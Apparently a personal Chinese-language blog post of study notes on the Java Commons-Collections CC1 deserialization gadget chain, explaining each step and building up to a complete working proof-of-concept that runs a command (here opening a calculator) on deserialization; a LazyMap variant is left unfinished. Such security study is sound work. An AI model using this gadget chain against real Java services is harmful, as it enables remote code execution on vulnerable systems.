cc1学习笔记
Flow

前言

本篇文章单纯记录自己学习cc1的过程,里面遇到一些点有些难理解,我总是试图记录下来帮助自己理解(虽然有些时候纠结的点很蠢:),所以整理出来算是监督自己学习吧。自己java基础不是很扎实,可能有理解不对的地方,非常欢迎联系我(wx:Lintian3188)指正,感谢🙏

反射调用runtime执行calc

正常调用runtime执行calc语句应该是

1
Runtime.getRuntime().exec("open -a Calculator");

反射是

1
2
3
4
5
Class c = Class.forName("java.lang.Runtime");
Method getRuntime = c.getMethod("getRuntime");
Method exec = c.getMethod("exec", String.class);
Object o = getRuntime.invoke(null);
exec.invoke(o, "Open -a Calculator");

第一句使用Class.forName 动态加载Runtime,此时的c是Runtime的class对象

第二句使用getMethod获取到getRuntime方法,返回的是Method对象

第三局继续使用getMethod获取exec方法有一个String.class是因为exec正常调用的时候就需要一个参数String

第四句使用inoke也就是执行getRuntime,看一下源码

1
2
3
4
private static Runtime currentRuntime = new Runtime();
public static Runtime getRuntime() {
return currentRuntime;
}

就是执行这个方法刚好会返回一个currentRuntime,这个变量是Runtime类型的对象,有这个才能让我们exec正常调用

可以理解成Object o = getRuntime.invoke(null);执行效果等于Runtime.getRuntime()

第五句invoke 的第一个参数是目标实例对象 o,第二个参数是方法的实际参数,所以就相当于执行了Runtime.getRuntime().exec

为什么cc1链子终点是InvokerTransformer.transform()

直接跟进到这个类,里面的transform方法用到了反射,我们最后就是要利用这个很灵活的机制实现恶意代码执行

我们一开始直接调用查看

1
2
3
4
5
6
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a calculator"}); // 这个InvokerTransformer构造的要求
invokerTransformer.transform(runtime);
}

InvokerTransformer.transform()方法里面,iMethodName对应我们前面构造的execiParamTypes对应String.classiArgs对应我们要执行的命令,在public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)来看,这写都完美对应我们这次反射调用Runtime执行命令的逻辑

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

TransformedMap版

初步的链子

就是点击这个函数右键查找用法,有很多调用的地方,我们需要筛出比较合适的

链子的正确顺序就是找到TransformedMapcheckSetValue()

里面调用了valueTransformer.transform(value);,跟进看一下valueTransformer是什么

能在TransformedMap的一个构造方法里面发现它被调用,然后他的作用域是proteced,还要在TransformedMap里找到谁去调用了这个方法,定位到了decorate(),这个是public方法

其实传入的参数及户没有差别,感觉就是多了一层,就理解为自我装饰吧

先把链子整理一下,目前的情况主要就是追踪到了checkSetValue(),然后我们要控制里面的valueTransformer是我们前面自己已经写好的的invokerTransformer,才能顺利调用,这里再尝试写出代码:

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a calculator"});
// invokerTransformer.transform(runtime);
HashMap<Object,Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValues = transformedMapClass.getDeclaredMethod("checkSetValue",Object.class);
checkSetValues.setAccessible(true);
checkSetValues.invoke(decorateMap,runtime);
}

讲一下,这里invokerTransformer就是用于最后invokerTransformer.transform()的执行,为什么这么定义前面已经写了,然后新建一个HashMap变量是用于 TransformedMap.decorate()的调用,这个函数就是对一个map进行装饰,进入这个函数才会触发TransformedMap的构造函数,才能给valueTransformer赋值,这就算是准备工作,后面我们需要出发checkSetValue函数,这个才是重头戏,因为是protected的,所以我们需要反射调用,后面几句全是为了触发反射做的准备工作

进一步的链子

目前我们就卡在checkSetValue这里,还要满足decorate,我们再find usage看谁调用了checkSetValue

来到AbstractInputCheckedMapDecorator这个抽象类,它还是TransformerdMap的父类,里面一个继承了AbstractSetDecorator的内部类MapEntry有setValue方法调用了我们要的checkSetValue方法

setValue() 实际上就是在 Map 中对一组 entry(键值对)进行 setValue() 操作。

一个MapEntry就是hash的一个键值对

所以就是说当我们在调用decorate对map进行遍历的时候,就会触发setValue,而这个重写的setValue会触发我们要的checkSetValue

再重写现在的POC

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a calculator"});
// invokerTransformer.transform(runtime);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("a","b"); // 给hash赋值,保证后面会经入遍历的那个for循环
Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer); // 搞到decorate
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
} // 主动遍历触发这个重写的setValue
}

直接调用decorate,返回一个TransformedMap的东西,后面遍历的时候才会进到我们要到的setValue

1
Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);

所以现在的链子就是找到一个入口hashmap,去触发获取TransformedMap再去遍历它触发setValue函数,

1
2
3
4
5
6
hashMap入口
-> .decorate() -> TransformedMap
-> 遍历setValue()
->AbstractInputCheckedMapDecorator#setValue()
-> TransformedMap#checkSetValue()
-> InvokerTransformer#transform()

找到链首readObject

我们在find usage,找到有一个类里面的readObject就调用了setValue(这里还是有一些限制条件的,后面再解决)

所以按理说我们序列化AnnotationInvocationHandler这个类的时候就会触发readObject紧接着后面的链子

然后这个类没有写明作用域,就算是default,还是要用反射调用,理想状态下的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"open -a calculator"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 获取类
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); // 获取构造器
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap); // 实例化

// 序列化反序列化
serialize(o); // 于是自动触发readObject
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

现在的几个问题

  • 有几个if判断需要解决
  • readObject里面的setValue函数传参要怎么控制,我们要传的是Runtime对象,代码里明显和我们要做的不一样
  • Runtime.class不能序列化
解决Runtime不能序列化

Runtime不能序列化,但是Runtime.class可以,所以我们可以写一个普通反射,然后设法让InvokerTransformer调用

正常里说,我们的反射调用runtime.class是这么写

1
2
3
4
5
6
7
public static void main(String[] args) throws Exception{
Class c = Runtime.class;
Method method = c.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null);
Method exec = c.getMethod("exec",String.class);
exec.invoke(runtime,"open -a calculator");
}

这就比较麻烦了,我们用InvokerTransformer.transform()一次一次实现我们要的效果

1
2
3
4
5
6
7
8
public static void main(String[] args) throws Exception{
Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// getRuntime = c.class.getMethod("getRuntime");
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
// Runtime runtime = getRuntime.invoke(null);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}).transform(runtime);
// exec.invoke(runtime,"open -a calculator");
}

每一句都是有对应的,然后一一循环调用,但是这样调用代码很冗余,于是前面有一个`ChainedTransformer类,这里存在递归调用

于是我们可以把代码优化成

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Object o = chainedTransformer.transform(Runtime.class);
}

我们new一个Transformer数组,然后用ChainedTransformer递归调用就好了,最后只用到一个transform,又解决了runtime序列化问题也不会代码冗余。

那再结合最开始的decorate,我们再整理一下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,transformedMap);
// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}

但是咧还是不会弹计算机,我们跟进一下

断点打在AnnotationInvocationHandler里面的那个if判断,会发现它是不会进去的

解决if判断

这里有个memberType判断,我们要控制他不是null,看一下是什么东西

这个type是我们前面构造函数里传入的注解类型的对象,图片第一个红框就是获取注解类型的成员方法

下面判断成员方法不能是空,我们前面传入的Override就是没有成员方法所以进不去if

现在我们选择传一个Target.class,里面就有一个成员变量value

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey(); // 键值对获取key,这里这个memberValue是我们最前面传的hashMap
Class<?> memberType = memberTypes.get(name); // 查找key是不是空的
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || // 判断能不能强转
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

所以我们在最前面改成传入Target.class,这次他有成员变量,但是没有和前面的hashMap键值对对应,还是进不了if

调试一下,这个memberTypes也就是我们传入的Target.class里面没有a,所以memberType还是null

现在改成hashMap.put(“value”,”flowww”),

这个时候再看就不是null了,可以进入第一个if,第二个if是在判断能不能强转,也能顺利进入了

现在我们调试顺利来到了setValue方法

因为setValue里面的参数不可控,指定了特定的类,这限制了我们的命令执行

进入setValue

先从头讲,我们按目前的情况进入到setValue再到checkSetValue

我们要控制

1
2
3
valueTransformer.transform(value);
=
chainedTransformer.transform(Runtime.class);

但是也能看到调试到这里value不是Runtime.class

于是最后找到一个有可控参数的类ConstantTransformer

构造方法里,任何传入的对象都放在iConstant里

transform里,无论传入什么都返回iConstant,这相当于一个常量了

我们在最开始chainedTransformer定义的时候多加一个ConstantTransformer构造,这样后面调用transform的时候无论传入的value是什么类型都会返回我们要的Runtime.class

最后POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "flowww");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformedMap);
// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

真是呕心沥血,未完待续,还有另一条lazymap的,我要抓紧补上

LazyMap版

有一部分是一样,直到一个地方有分叉,我们可以在transform那里查看用法,可以跟踪到LazyMap.get()也调用了transform

跟进看一下factory是什么东西

可以看到是Transformer类,而且还有前面熟悉的decorate,factory会在构造函数里出现,这个是可控的,符合我们的要求。

然后看一下这个类的构造函数,作用域是protected,所以我们需要反射调用

目前的链子这样是可行的

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
Class<LazyMap> clazz = LazyMap.class;
Method LazyGet = clazz.getDeclaredMethod("get", Object.class);
LazyGet.setAccessible(true);
LazyGet.invoke(decorateMap, runtime);
}

然后我们继续find usage,最后在 AnnotationInvocationHandler.invoke()函数里面找到调用

而且这个类本身有readObject,这就方便了很多

结合这个类名,我们要触发invoke,就涉及到动态代理

当对某个对象使用Proxy.newProxyInstance进行动态代理并传入有实现invoke的相应hanlder对象(比如这里的AnnotationInvocationHandler),当调用方法时,就会跳转到这个handler对象的invoke方法。

参考

感谢之前的师傅出的内容让我学习🙏

https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/#0x03-Common-Collections-%E7%9B%B8%E5%85%B3%E4%BB%8B%E7%BB%8D

https://www.bilibili.com/video/BV1no4y1U7E1?vd_source=46e5237289ae6c1a3c7bcab6091e42a6

由 Hexo 驱动 & 主题 Keep